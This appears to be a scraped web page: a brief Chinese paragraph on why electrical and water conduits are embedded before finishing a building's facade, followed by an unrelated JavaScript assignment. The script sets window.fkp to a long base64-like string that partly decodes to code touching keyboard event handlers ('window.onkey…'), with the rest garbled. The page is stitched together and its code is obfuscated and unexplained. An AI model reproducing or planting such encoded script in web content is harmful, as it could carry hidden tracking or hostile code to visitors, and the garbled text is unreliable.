预埋

论工程预埋的重要性，所有需要用电的地方预埋，所有用水的地方需要预埋。预埋套管，开槽预埋，预埋完后再做外立面。

window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";